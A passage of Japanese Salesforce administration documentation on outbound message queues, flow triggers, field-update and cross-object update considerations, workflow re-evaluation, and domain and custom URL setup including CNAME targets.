ここでいくつかの作業を実行できます。
• ワークフローまたは承認プロセスを開始したアクションを参照するには、参

照するワークフローまたは承認プロセスのアクション ID をクリックします。
• [次回の試行] 日を現在に変更するには、[再試行] をクリックします。これに

より、メッセージの配信がただちに再試行されます。[失敗したアウトバウン
ドメッセージ]関連リストで[再試行]を選択すると、アウトバウンドメッセー
ジは [次の配信項目] 関連リストに移動し、さらに 24 時間再試行されます。

• アウトバウンドメッセージをキューから完全に削除するには、[削除]をクリッ
クします。

メモ: このオプションが表示されない場合は、組織がアウトバウンドメッ
セージを有効にしていません。アウトバウンドメッセージを有効にするに
は、Salesforce にお問い合わせください。

エンドポイント URL のクライアント証明書のインポート
アウトバウンドメッセージのエンドポイント URL がクライアント証明書を使用している場合は、アウトバウン
ドメッセージを実行可能にするためにクライアント証明書をインポートします。
1. [設定] から、[クイック検索] ボックスにAPIと入力し、[API] を選択します。
2. [クライアント証明書の生成] をクリックします。
3. 証明書を適切な場所に保存します。
4. ダウンロードした証明書はアプリケーションサーバにインポートし、そのサーバがクライアント証明書を

要求するように設定します。
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ワークフローのフロートリガの定義 (パイロット)

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ワークフロールールおよ
びアクションを表示する
• 「設定・定義を参照す

る」

ワークフロールールとア
クションを作成または変
更する
• 「アプリケーションの

カスタマイズ」

ワークフロールールからフローを起動できるようにフロートリガを作成します。
フロートリガを使用して、複雑なビジネスプロセスを自動化できます。ロジッ
クを実行するフローを作成し、イベントからワークフロールール経由でこのフ
ローをトリガするようにします。コードを記述する必要はありません。たとえ
ば、ケースに関連するエンタイトルメントを検索して割り当てるフローがあり
ます。ケースの作成時には常にこのフローを起動するフロートリガを作成しま
す。これにより、すべての新しいケースにデフォルトのエンタイトルメントが
自動的に設定されます。

メモ: フロートリガワークフローアクションのパイロットプログラムは終
了します。組織でパイロットをすでに有効にしている場合は、引き続きフ
ロートリガワークフローアクションを作成および編集できます。組織で パ
イロットを有効にしなかった場合は、代わりにプロセスビルダーの[フロー]

アクションを使用します。
フロートリガの使用を開始するには、[設定] から [クイック検索]ボックスに「フ
ロートリガ」と入力し、[フロートリガ] を選択します。作業を開始する前に
• このワークフローアクションを起動する自動起動フローを作成し、有効化し

ます。
• このワークフローアクションを追加するワークフロールールを作成します。
• フロートリガの特殊な動作および制限を把握します。「フロートリガの考慮

事項 (パイロット)」 (ページ 5971)を参照してください。
フロートリガを作成する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「フロートリガ」と入力し、[フロートリガ] を選択します。
2. [新規フロートリガ] をクリックします。
3. ワークフロールールと同じオブジェクトを選択し、[次へ] をクリックします。
4. フロートリガを設定します。

説明項目

フロートリガの名前。名前

API でこのコンポーネントを参照する一意の名前を入力します。[一意の名前] 項
目には、アンダースコアと英数字のみを使用できます。選択したオブジェクト

一意の名前

内で一意であること、最初は文字であること、スペースは使用しない、最後に
アンダースコアを使用しない、2 つ続けてアンダースコアを使用しないという
制約があります。

将来の使用のために予約されています。保護コンポーネント

このワークフローアクションを起動する自動起動フローの一意の名前。フロー

値をフローの変数および sObject 変数に渡すかどうか。フロー変数を設定
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5. [フロー変数を設定] を選択した場合、それらの名前と値を指定します。
[別の値を設定] をクリックして、最大 25 個の変数を設定します。

説明項目

フロー変数または sObject 変数の名前を選択します。
[入力/出力種別] で入力アクセスを許可されている変数のみを選択できます。

名前

フロー変数の場合、次のような操作が可能です。値
• リテラル値を入力する。
• をクリックして項目を選択し、[挿入] をクリックする。
sObject 変数の場合、次のような操作が可能です。
• をクリックして sObject レコードを選択し、[挿入] をクリックする。

sObject レコードと項目を区別しやすくするために、すべての sObject レコード
オプションは、アスタリスク (*) でマークされ、各リストの上部に表示され
ます。

• 「{!this}」と入力し、ワークフロールールを起動するように作成または編
集されたレコードの現在の値を使用する。

• 「{!old}」と入力し、編集されてワークフロールールを起動したレコード
の直近の値を使用する。
つまり、{!old} では {!this} と同じレコードが識別されますが、ワーク
フロールールを起動するように編集される直前のレコードの値が使用されま
す。

メモ:

• 新規作成されたレコードの場合、{!old} は null です。
• {!this} とは異なり、{!old} は をクリックして選択することは

できません。[値] 列に手動で「{!old}」と入力する必要があります。

6. フロートリガをテストモードにするには、[システム管理者は、最新のフローバージョンを実行します] を選
択します。
これを選択した場合、システム管理者がワークフロールールをトリガすると、フロートリガによって最新
バージョンのフローが起動されます。他のすべてのユーザの場合、フロートリガによって有効なバージョ
ンのフローが起動されます。
フロートリガによって起動されるフローバージョン (有効なフローバージョンまたは最新のフローバージョ
ン) に関係なく、フロー変数と sObject 変数には同じ値が渡されます。

7. [保存] をクリックします。
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フロートリガをワークフロールールに関連付けることを忘れないでください。

関連トピック:

フロートリガの考慮事項 (パイロット)

自動アクションに関する考慮事項

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

自動アクションの使用を開始する前に、関連する制限事項や特殊な動作につい
て把握しておきます。

項目自動更新アクションの考慮事項
ワークフローで項目自動更新アクションを最大限に活用する方法について説
明します。
アウトバウンドメッセージの考慮事項
ワークフローにアウトバウンドメッセージを実装する前に、アウトバウンド
メッセージアクションを使用する場合の考慮事項を確認してください。
フロートリガの考慮事項 (パイロット)

フロートリガワークフローアクションの動作は特殊であり、制限がありま
す。

関連トピック:

メールアラートの日次制限

項目自動更新アクションの考慮事項

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ワークフローで項目自動更新アクションを最大限に活用する方法について説明
します。
ワークフロールールまたは承認プロセスの項目自動更新を作成する場合は、次
の点に留意してください。

項目自動更新処理
• 項目自動更新は、メールアラート、ToDo、およびアウトバウンドメッセージ

の前に実行されます。
• 項目自動更新は、ケース割り当て、リード割り当て、自動レスポンスの各

ルールの後に実行されます。
• 項目自動更新は、項目レベルセキュリティとは独立して機能します。そのた

め、ワークフロールールは、ユーザのページレイアウトで項目が非表示になっていても更新できます。
• 1 つのワークフロールールに異なる値を同じ項目に適用する複数の項目自動更新が含まれている場合には、

項目自動更新の結果は予測できません。
• 項目自動更新は、関連リスト内の情報に影響する場合があります。たとえば、商談の [金額]や [完了予定

日]などの項目が自動更新されるように設定されると、商談の [フェーズの履歴] 関連リストに影響します。
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• レコードの保存時に、項目の自動更新でエラーが発生した場合は、デバッグログを使用して更新に失敗し
た項目を確認できます。デバッグログは、エラーが発生した時点で停止します。

• ToDo および行動のアラーム項目では次の操作を実行できます。
– 項目自動更新で ToDo または行動のアラームを設定できます。ただし、ToDo の期日、または行動の予定

時間を使うことはできません。
– 日時に関する数式での計算は、日単位となります。したがって、分を表すためには 1440 (1 日の分数) で

除算します。たとえば、数式 Now()-7 は 7 日前を表しますが、Now()-7/1440 は 7 分前を表します。
• 組織でマルチ通貨を使用している場合には、レコードの通貨を使用して通貨項目が更新されます。数式に

基づいて項目を更新したい場合、数式内の値はすべて、レコードの通貨で解釈されます。
• これらの項目で項目履歴管理を設定した場合には、[履歴] 関連リストで項目自動更新が追跡されます。
• ワークフロールール基づき、プロセスのスケジュール済みアクションにも基づくレコードの更新は入力規

則を実行しないため、以前は有効な項目がワークフロールールおよび一部のプロセスによって無効な内容
に書き換えられることがあります。

• 個人取引先を有効にした場合は、[個人取引先] 項目をワークフロールールの評価条件の一部として使用で
きます。ただし、[個人取引先] 項目は「参照のみ」であるため、この項目を変更するように設定された項
目更新は失敗します。

ヒント: Salesforce は、次の順番でルールを処理します。
1. 入力規則
2. 割り当てルール
3. 自動レスポンスルール
4. ワークフロールール (ルール適用時のアクション)

5. エスカレーションルール

クロスオブジェクトの項目自動更新に関するメモ
• すべてのカスタムオブジェクトおよび一部の標準オブジェクトについて、詳細レコードを変更すると関連

マスタレコードの項目が更新されるように設定して、ワークフローと承認アクションを作成できます。ク
ロスオブジェクト項目の更新は、カスタム-to-カスタムの主従関係、カスタム-to-標準の主従関係、および
いくつかの標準-to-標準の主従関係について機能します。詳細は、「クロスオブジェクトの項目更新」(11

ページ) を参照してください。
• 承認プロセスでは、クロスオブジェクトの項目自動更新アクションは使用できません。
• 承認プロセスでは、更新されたオブジェクトのワークフロールールを再評価する項目自動更新アクション

を指定できます。ただし、再評価されたワークフロールールにクロスオブジェクト項目自動更新がある場
合、それらのクロスオブジェクト項目自動更新は無視されます。

• ケースコメントまたはメールが関連するケースの項目を自動的に更新するようにワークフロールールを作
成するには、新しいワークフローを作成するときに [オブジェクト] ドロップダウンリストから [ケースコメ
ント] または [メールメッセージ] を選択し、[更新する項目] リストで [ケース] を選択します。組織がワーク
フロールールでメールメッセージを使用するには、メール-to-ケースまたはオンデマンドメール-to-ケース
が有効になっている必要があります。
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メールが起動するワークフロールールによってケースが更新されると、次のものが起動されます。
– ワークフロールール
– 入力規則
– 積み上げ集計項目の更新
– エスカレーションルール
– Apex トリガ
– エンタイトルメントプロセス
更新されるケースから起動できないものは、次のとおりです。
– 割り当てルール
– 自動レスポンスルール

項目自動更新アクションおよびカスタム項目
• カスタム項目の種別を変更する前に、その項目がワークフロー項目自動更新の対象でないこと、または新

しい種別によって無効化される項目自動更新数式で参照されていないことを確認してください。
• 項目自動更新によって参照されているカスタム項目は削除できません。
• ただし、数式を使用して暗号化カスタム項目の新しい値を設定しようとする場合は、暗号化カスタム項目

は数式エディタではリソースとして使用できません。

商談および契約の項目自動更新アクション
• 商談の [フェーズ] 項目の項目自動更新を定義できますが、この項目が [種類] および [売上予測分類] 項

目に及ぼす影響に注意してください。
• 商談の [金額] 項目を使用して項目自動更新を定義できますが、そこで定義した更新は、商品が存在しな

い商談にのみ適用されます。商談に商品を追加すると、[金額]項目が、自動的に計算され、その項目自動
更新による影響を受けない参照のみの項目に変わります。

• 契約の [状況] 項目の項目自動更新を定義できます。ただし、この項目の値は、[状況のカテゴリ] 項目の
値にも影響します。

• [状況]項目を「承認済み」以外の値に変更する契約または注文の項目自動更新を作成しないでください。

項目自動更新アクションの制限事項
• 項目自動更新の結果によって、入力規則、割り当て、自動レスポンス、エスカレーションルールなどの追

加ルールを開始することはできません。
• 追加ルールを開始するように項目自動更新がフラグ付けされている場合は、項目自動更新の結果によって

追加ワークフロールールを開始できます。詳細は、「ワークフロールールを再評価する項目自動更新」
(ページ 5969)を参照してください。

• 承認時のアクションとして実行される項目自動更新は、ワークフロールールやエンタイトルメントプロセ
スをトリガしません。

• 次の項目は、項目自動更新アクションでは使用できません。
– 数式項目や自動採番項目など、参照のみの項目
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– マルチ言語ソリューションでの [言語] 選択リスト項目
– [関連先] や [非公開] などの一部の活動の項目

• メールメッセージのワークフロールールは、項目自動更新にのみ関連付けることができます。
• 項目自動更新が特定のユーザを参照している場合、そのユーザは無効にできません。たとえば、レコード

の所有者を「山田次郎」に変更するように項目自動更新が設定されている場合には、「山田次郎」を無効
にする前に項目自動更新を変更します。

• ロングテキストエリア項目を更新できますが、[特定値]を挿入するオプションにより、入力できる文字数
は対象項目で許可される最大文字数に制限されています。

• 項目が、その項目を空白値に設定する項目自動更新によって使用される場合は、その項目を必須にするこ
とはできません。

• また、所有者を更新するワークフロールールは関連付けられた項目に転送されません。転送を行うには、
レコードの所有者名の横にある [変更] をクリックして、転送の選択を行います。

クロスオブジェクトの項目更新
すべてのカスタムオブジェクトおよび一部の標準オブジェクトについて、詳細レコードを変更すると関連
マスタレコードの項目が更新されるように設定して、アクションを作成できます。クロスオブジェクト項
目の更新は、カスタム-to-カスタムの主従関係、カスタム-to-標準の主従関係、およびいくつかの標準-to-標
準の主従関係について機能します。
ワークフロールールを再評価する項目自動更新
項目自動更新アクションの [項目変更後にワークフロールールを再評価する] を有効にすると、項目自動更
新により項目の値が変更される場合、オブジェクトのすべてのワークフロールールが Salesforce によって再
評価されます。

関連トピック:

クロスオブジェクトの項目更新

クロスオブジェクトの項目更新

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

すべてのカスタムオブジェクトおよび一部の標準オブジェクトについて、詳細
レコードを変更すると関連マスタレコードの項目が更新されるように設定して、
アクションを作成できます。クロスオブジェクト項目の更新は、カスタム-to-カ
スタムの主従関係、カスタム-to-標準の主従関係、およびいくつかの標準-to-標準
の主従関係について機能します。
たとえば、カスタムの社員募集アプリケーションで、応募者 (従オブジェクト)

が仕事を承諾したらアプリケーションの状況 (主オブジェクト) を「完了」に設
定するというワークフロールールを作成できます。または、標準オブジェクト
の場合、顧客がケースコメントを追加したときにケースの状況を「顧客の返答
待ち」から「処理中」に変更するルールを作成できます。
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カスタムオブジェクト対カスタムオブジェクト
主従関係にあるカスタムオブジェクトの子であるすべてのカスタムオブジェクトで、クロスオブジェクトの項
目自動更新がサポートされます。

カスタムオブジェクト対標準オブジェクト
主従関係にある特定の標準オブジェクトの子であるカスタムオブジェクトで、クロスオブジェクトの項目自動
更新がサポートされます。カスタムオブジェクトからクロスオブジェクトの項目更新をサポートする標準オブ
ジェクトは、次のとおりです。
• 取引先
• 納入商品
• キャンペーン
• ケース
• 取引先責任者
• 契約
• 契約品目名
• エンタイトルメント
• 商談
• 注文
• 質問
• 見積
• サービス契約
• ソリューション

標準オブジェクト対標準オブジェクト
主従関係にある標準オブジェクトの子である標準オブジェクトで、クロスオブジェクトの項目自動更新がサ
ポートされます。ただし、次の標準対標準関係のみがサポートされています。
• ケースを更新するケースコメント
• ケースを更新するメール

ヒント: ケースコメントまたはメールが関連するケースの項目を自動的に更新するようにワークフロー
ルールを作成するには、新しいワークフローを作成するときに [オブジェクト] ドロップダウンリスト
から [ケースコメント] または [メールメッセージ] を選択し、[更新する項目] リストで [ケース] を選択
します。組織がワークフロールールでメールメッセージを使用するには、メール-to-ケースまたはオン
デマンドメール-to-ケースが有効になっている必要があります。

• 商談を更新する商談商品

メモ: 親商談の [金額] 項目と [数量] 項目へのクロスオブジェクト項目の更新は、商談に、それに関
連付けられた商談商品がない場合にのみ機能します。

• 取引先を更新する商談: 法人取引先と個人取引先の両方でサポートされます。

5968

自動アクションの実行コードではなくてクリックによる Salesforce の拡張



メモ: 取引開始済みのリード数にワークフロールールがあり、結果の取引先および商談にクロスオブジェ
クト項目自動更新を使用する場合、リード設定 [取引開始済みのリードに入力規則が必須]を有効化する必
要があります。

標準対標準のクロスオブジェクトの項目自動更新アクションでは、次の点に留意してください。
• 承認プロセスで使用したり、承認プロセスに割り当てたりすることはできません。
• 親レコードに対する編集アクセス権限がない場合でも、親レコードを更新できます。

メモ: クロスオブジェクトの項目自動更新アクションと同一のリレーションで親項目を更新するための
Apex コードを使用している場合は、コードをクロスオブジェクトの項目自動更新で置き換えることを検
討してください。これを実行しない場合、両方が実行されることになり、Apex トリガ後にワークフロー
が実行されるため、ワークフローの自動更新によって Apex コードで行ったすべての変更内容が上書きさ
れます。

関連トピック:

項目自動更新アクションの考慮事項
オブジェクトリレーションの概要

ワークフロールールを再評価する項目自動更新

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

項目自動更新アクションの [項目変更後にワークフロールールを再評価する]を有
効にすると、項目自動更新により項目の値が変更される場合、オブジェクトの
すべてのワークフロールールが Salesforce によって再評価されます。
• 項目自動更新により項目の値が更新されると、関連付けられたオブジェクト

のすべてのワークフロールールが再評価されます。条件が項目自動更新の結
果と一致するすべてのワークフロールールがトリガされます。

• トリガされたワークフロールールのいずれかにより、ワークフロールールの
再評価も有効にする他の項目自動更新が実行される場合、ドミノ効果が発生
し、新規にトリガされた項目自動更新の結果としてより多くのワークフロー
ルールを再評価できます。このワーフロールールの再評価およびトリガのカ
スケードは、それを開始した最初の項目自動更新の後、最大 5 回実行できま
す。

• ワーフロールールが再帰的ループを作成するように設定されていないことを確認してください。たとえば、
Rule1 の項目自動更新が Rule2 をトリガし、Rule2 の項目自動更新が Rule1 をトリガすると、再帰的トリガによ
り組織で 1 時間のワークフロータイムトリガの上限を超える可能性があります。

• バッチ更新では、ワークフローは変更のあるエンティティに対してのみ再トリガされます。
• 最初の項目自動更新と同じオブジェクトのワークフロールールのみが再評価され、トリガされます。
• 実行されなかったワークフロールールのみが再トリガされます。
• クロスオブジェクトワークフロールールは再評価の対象になりません。
• 項目値を変更させるクロスオブジェクト項目自動更新は関連付けられているオブジェクトのワークフロー

ルールの再評価をトリガしません。
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• 承認プロセスでは、更新されたオブジェクトのワークフロールールを再評価する項目自動更新アクション
を指定できます。ただし、再評価されたワークフロールールにクロスオブジェクト項目自動更新がある場
合、それらのクロスオブジェクト項目自動更新は無視されます。

• 次の場合は、再評価されたワークフロールールに対して時間ベースのアクションが実行されません。
– 再評価されたワークフロールールの適用時のアクションによって、レコードがワークフロールールの条

件を満たさなくなった場合
– ワークフローまたは承認時のアクションの結果として実行される Apex after トリガによって、レコー

ドがワークフロールールの条件を満たさなくなった場合

関連トピック:

項目自動更新アクションの考慮事項

アウトバウンドメッセージの考慮事項

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ワークフローにアウトバウンドメッセージを実装する前に、アウトバウンドメッ
セージアクションを使用する場合の考慮事項を確認してください。
ワークフロールールまたは承認プロセスのアウトバウンドメッセージを作成す
る場合は、次の点に留意してください。
• 1 通の SOAP メッセージには、最大 100 件の通知を格納できます。各通知には、

レコードを一意に識別する ID と、レコード内のデータへの参照が含まれてい
ます。そのため、通知の送信後にレコード内の情報が変更されるという場合
は、通知の配信前であれば更新された情報のみが配信されます。

• メッセージは、信頼性を保持するために、送信されるまでキューに格納され
ています。

• エンドポイントが利用できない場合、メッセージは正常に送信されるまで、
または 24 時間が経過するまでキューに留まります。24 時間を過ぎると、メッ
セージがキューから削除されます。

• メッセージが配信できない場合には、再試行の間隔が、最長 2 時間まで大幅に増えます。
• メッセージは、キュー内の順番とは無関係に再試行されます。そのため、メッセージが順番に配信されな

い場合があります。
• アウトバウンドメッセージを使用して監査履歴を作成することはできません。どのメッセージも 1 回は配

信される必要がありますが、2 回以上配信される場合もあります。また、24 時間以内に配信できない場合
には、まったく配信されないこともあります。最後に、上記のとおり、通知の送信後でも、配信前であれ
ば、ソースオブジェクトの変更が可能です。エンドポイントは、途中の変更内容ではなく、最新のデータ
だけを受信します。
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フロートリガの考慮事項 (パイロット)

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フロートリガワークフローアクションの動作は特殊であり、制限があります。

メモ: フロートリガワークフローアクションのパイロットプログラムは終
了します。組織でパイロットをすでに有効にしている場合は、引き続きフ
ロートリガワークフローアクションを作成および編集できます。組織で パ
イロットを有効にしなかった場合は、代わりにプロセスビルダーの[フロー]

アクションを使用します。
フロートリガを作成する前、またはフロートリガをワークフロールールに追加
する前に、次の事項を考慮してください。
• フロートリガは、ワークフロールールにのみ使用できます。承認プロセスな

どの他の場所でアクションとしてこれらを使用することはできません。
• フロートリガは、ワークフロールールでサポートされるほとんどの (すべてではない) オブジェクトで使用

できます。新しいフロートリガを作成するときに、サポートされているオブジェクトのリストを確認でき
ます。[設定] から、[クイック検索] ボックスに「フロートリガ」と入力し、[フロートリガ]をクリックしま
す。

• フロートリガで起動できるのは、有効な自動起動フローのみです。ただし、フロートリガがテストモード
の場合、システム管理者が実行するのが最新のフローであるのに対して、その他のユーザが実行するのは
フローの有効バージョンです。

• ワークフロールールから起動されるフローは、システムコンテキストで実行されます。つまり、フローの
実行時に、ユーザ権限、項目レベルセキュリティ、および共有ルールは考慮されません。

• ワークフロールール条件を満たすレコードの作成または編集でフロートリガの実行に失敗した場合、ユー
ザはレコードを保存できなくなります。実行時の問題のトラブルシューティングを行うには、デバッグロ
グの [ワークフロー] カテゴリのフローアクションイベントを確認してください。デバッグログには、フ
ローバージョンおよびフローの変数に渡された値が表示されます。

• フロートリガは、フロー内の最大25個の変数と sObject 変数の値を設定できますが、次の制限があります。
– フロートリガでは、フロー変数または sObject変数の設定に複数選択リスト項目を使用できません。
– フロートリガが通貨項目を使用してフロー変数を設定すると、金額のみがフローに渡されます。通貨

ISO コードやロケール情報は無視されます。組織でマルチ通貨を使用している場合、フロートリガは特
定の通貨項目を含むレコードの通貨で金額を使用します。

– フロートリガは、フロー内の sObjectコレクション変数に値を渡すことができません。
• フローが有効なワークフロールールのフロートリガから参照される場合、フローのいずれかのバージョン

を常に有効にしておく必要があります。
• フロートリガを使用してワークフロールールを有効にしたら、自動起動フローの実行制限に違反する画面

やその他の要素が含まれるような、フローのバージョンの変更または追加はしないでください。自動起動
でなくなるような変更をフローに加えると、フロートリガで起動できなくなります。この状況を回避する
には、自動起動ではないフローを新しいフローとして保存し、新しいフローが自動起動になるように変更
します。その後、新しいフローを起動するようにフロートリガを更新します。

• フロートリガは、時間ベースのワークフローアクションとしては使用できません。フロートリガは、ルー
ル適用時のアクションとしてのみワークフロールールに追加できます。

5971

自動アクションの実行コードではなくてクリックによる Salesforce の拡張



• システムが複数のフロートリガを持つワークフロールールを実行する場合、それらのフローは特定の順序
では実行されません。

• 1 つのトランザクション内で、フロートリガは、すべてのワークフロー項目 (ワークフロー項目更新の結果
として実行される Apex トリガや標準の入力規則を含む) が更新された後に実行されます。フロートリガの
実行後、エスカレーションルールが実行されます。

• ワークフロールールから起動されるフローは、Apex で適用済みのトランザクション単位の制限で制御され
ます。

• 一括読み込みまたはインポートによってトリガされるワークフロールールからフローが起動されると、フ
ローのデータ操作言語 (DML) 操作が一括実行されるため、必要なコール数が削減され、システムパフォーマ
ンスが最適化されます。レコード作成、レコード更新、レコード削除、高速作成、高速更新、高速削除の
いずれかのフロー要素の実行は、DML 操作とみなされます。
たとえば、データローダまたはBulk APIを使用して 50 件のレコードを更新し、それらの更新がフロートリガ
アクションのワークフロールール条件を満たしているとします。その場合、同じトランザクション内のフ
ローの 50 件のインスタンスが実行されます。実行フローの各インスタンスはインタビューと呼ばれます。
トランザクションのすべてのインタビューで、各 DML 操作の同時実行が試行されます。このうちの 5 つの
インタビューで、「SetEntitlement」と呼ばれるレコード更新要素を持つ、フローの同じ分岐を実行している
とします。システムは 5 つのすべてのインタビューがその要素に到達するまで待機し、5 つのレコード更新
がすべて一括実行されます。

• フロートリガは、変更セット内では使用できません。
• フロートリガはパッケージ化できません。

プロセスの自動化設定の変更
エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスの自動化設定を
編集する
• 「アプリケーションの

カスタマイズ」

フロー、ワークフロー、承認に関連する、さまざまな機能を有効または無効に
します。
[プロセスの自動化設定] ページから、次のように操作します。
• Salesforce 組織の [デフォルトのワークフローユーザ] を設定する
• ユーザがメールによる承認申請に返答できるようにする
• フロー画面に [一時停止] ボタンを表示する
• すべての URL ベースのフローのために Lightning ランタイムを有効にする
• フローが参照のみの項目の値を設定しているときに発生することの制御
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ドメインの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

ドメインを管理する
• Site.com、Force.com サ

イト、またはコミュニ
ティを有効にしておく

ドメインおよびサイトの関連付けを設定し、組織固有のニーズを満たすことが
できます。たとえば、コミュニティ、Force.comサイト、およびSite.comサイトを
ホストする単一のドメインを設定できます。複数のドメインに単一のドメイン
を設定することもあります。
サイトとドメインは、多対多リレーションを持つことができます。各ドメイン
には最大で 100 個のサイトを設定でき、各サイトは最大で 200 個のドメインと関
連付けられます。コミュニティ、Force.com、Site.com の各サイトを 1 つのドメイ
ンでホストすると、ドメイン要件を簡略化できます。Site.com サイトの場合、
Visualforce ページにアクセスでき、Apex コードへのアクセスも簡単なことから、
Force.com サイトと同じドメインでホストする必要が生じることがあります。
また、1 つのサイトを複数のドメインに置く必要がある場合も考えられます。た
とえば、2 つの異なるブランドを持つ親会社があるとします。各ブランドには、
専用の登録ドメインがありますが、両方から親会社の Web サイトにリンクさせ
る必要があります。複数のドメインに 1 つのサイトを存在させることができる
ため、両方のブランドドメインを単一の親会社の Web サイトにリンクさせるこ
とができます。
1 つのドメインに複数のサイトをホストする予定の場合、それぞれのサイトにカ
スタム URL を設定する必要があります。カスタム URL は、そのドメイン内のサイトを一意に区別する方法で
す。たとえば、www.ourdomain.com というドメインがあり、siteone と sitetwo という 2 つのサイトをホ
ストするとします。その場合、カスタムパスを使用して、各サイトに ourdomain.com を関連付けることによっ
て、カスタム URL を作成する必要があります。その結果、http://www.ourdomain.com/siteone と
http://www.ourdomain.com/sitetwo という 2 つのカスタム URL が作成されることになります。Web ユー
ザが URL のいずれかを使用してこのドメインにアクセスしたとき、ドメイン内のどのサイトが表示されるかは
カスタムパスにより決定されます。

ドメインの追加
[設定] の [ドメイン管理] ページを使用して、ドメインを追加し、証明書を添付できます。
カスタム URL の追加
ドメインおよびカスタム URL の管理
[設定] の [ドメイン管理] を使用して、すべての証明書、カスタム URL、およびドメインに添付されているサ
イトを管理できます。
ドメインの削除
[ドメイン管理] ページを使用して、組織からドメインを削除できます。
カスタム URL の削除
[ドメイン管理] ページを使用して、組織からカスタム URL を削除できます。
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ドメインの外部 HTTPS の有効化
ドメインの外部 HTTPS の有効化により、Salesforceは、Salesforceコミュニティからメールメッセージ内に表示
される URL などの、ドメインに関連付けられているサイトを安全に参照するために、ドメインを使用しま
す。この機能は、コミュニティサイト、ポータルサイト、または機密性、傍受からの保護、なりすましに
対する保護が重要な任意の種別のサイトなどの、認証が必要なサイトに有用です。

ドメインの追加
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

ドメインを参照する
• 「設定・定義を参照す

る」

ドメインを追加する
• 「アプリケーションの

カスタマイズ」または
「設定・定義を参照す
る」と、Site.com
Publisher ライセンスま
たは「コミュニティの
作成および設定」のい
ずれか

ドメインを編集または削
除する
• 「アプリケーションの

カスタマイズ」

ドメインに証明書を関連
付ける
• コミュニティを使用し

ない場合は、Salesforce
にご連絡ください。コ
ミュニティを使用する
組織は証明書をドメイ
ンに関連付けることが
できます。

[設定] の [ドメイン管理] ページを使用して、ドメインを追加し、証明書を添付で
きます。
ドメインを追加するとき、接続のセキュリティのために証明書と鍵を添付する
こともできます。証明書を使用する場合、ドメインへの添付を試みる前に、[証
明書と鍵の管理] を使用して証明書がすでに追加されていることを確認します。
認証機関署名証明書のみがサポートされ、長さは 2048 ビットである必要があり
ます。組織のサイトでホストされるすべてのドメインをサポートするには、ワ
イルドカードまたは Subject Alternative Name 証明書を使用します。
カスタムドメインは、Sandbox 以外のインスタンスでのみサポートされます。カ
スタムドメインを Sandbox インスタンスで設定してから、本番インスタンスに移
行することができますが、カスタムドメインは本番環境でのみ有効です。
組織でドメインを追加する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「ドメイン」と入力し、[ドメイン]

を選択します。
2. [ドメインを追加]をクリックします。
3. ドメイン名を入力します。
4. このドメインをサポートする認証機関署名証明書をすでに設定している場合

は、証明書を追加します。
5. [保存] をクリックしますまたは、[保存 & 新規] をクリックして複数のドメイ

ンを追加します。
ドメイン名の CNAME を切り替えて新しい参照先名を指し示す前に、dig または
nslookupを使用して、新しい参照先名が DNS 内に存在することを確認します。
ドメイン名が作成された時期に応じて、CNAME の参照先に影響があります。
• Summer '13 より前に追加されたドメイン名の場合、通常、完全修飾ドメイン

に .live.siteforce.com  (組織の force.com サブドメインではない) を付
加した場所を参照するように CNAME を調整する必要があります。たとえば、
Summer '13 より前のドメインが www.example.comの場合、HTTPS が機能する
には、CNAME の参照先を www.example.com.live.siteforce.com

(example.force.com ではない) にする必要があります。
• Summer '13 以前に追加されたドメイン名の場合、CNAME 参照先内に 18 文字の

組織 ID を使用しないでください。
• Summer '13 以降に追加されたドメイン名の場合、カスタムドメインに HTTPS を

設定するために適切な場所がすでに参照されています。
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• Winter '14 以降に追加されたドメイン名の場合、完全修飾ドメインに 18 文字の組織 ID と
.live.siteforce.com を付加した場所を参照する CNAME を使用します。たとえば、ドメイン名が
www.example.com で 18 文字の組織 ID が 00dxx0000001ggxeay の場合、CNAME の参照先は
www.example.com.00dxx0000001ggxeay.live.siteforce.com である必要があります。

カスタム URL の追加
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

カスタム URL を表示する
• 「設定・定義を参照す

る」

カスタム URL を追加、編
集、および削除する
• 「アプリケーションの

カスタマイズ」または
「設定・定義を参照す
る」と、Site.com
Publisher ライセンスま
たは「コミュニティの
作成および設定」のい
ずれか

[ドメイン管理] ページにドメインを追加したら、カスタム URL を作成してドメイ
ンとサイトのリレーションを選択できます。カスタム URL は、ドメインとカス
タムパスで構成されます。同じパス名は複数のドメインで使用できますが、同
じドメイン内では 1 回しか使用できません。カスタム URL を追加する場合、ルー
トを示す「/」が必要です。「/」の後に他のパスも追加できますが、少なくとも
ルートを示す「/」を使用する必要があります。たとえば、ドメイン名が
https://oursite.com で、パスが /products の場合、サイト URL は
https://oursite.com/products になります。カスタム URL をルートに追加
した場合、URL は https://oursite.com になります。
サイトまたはコミュニティに再びリンクする優先カスタム URL を認証ページと
メールに設定する場合は、[サイトの主カスタム URL] を選択します。これは、
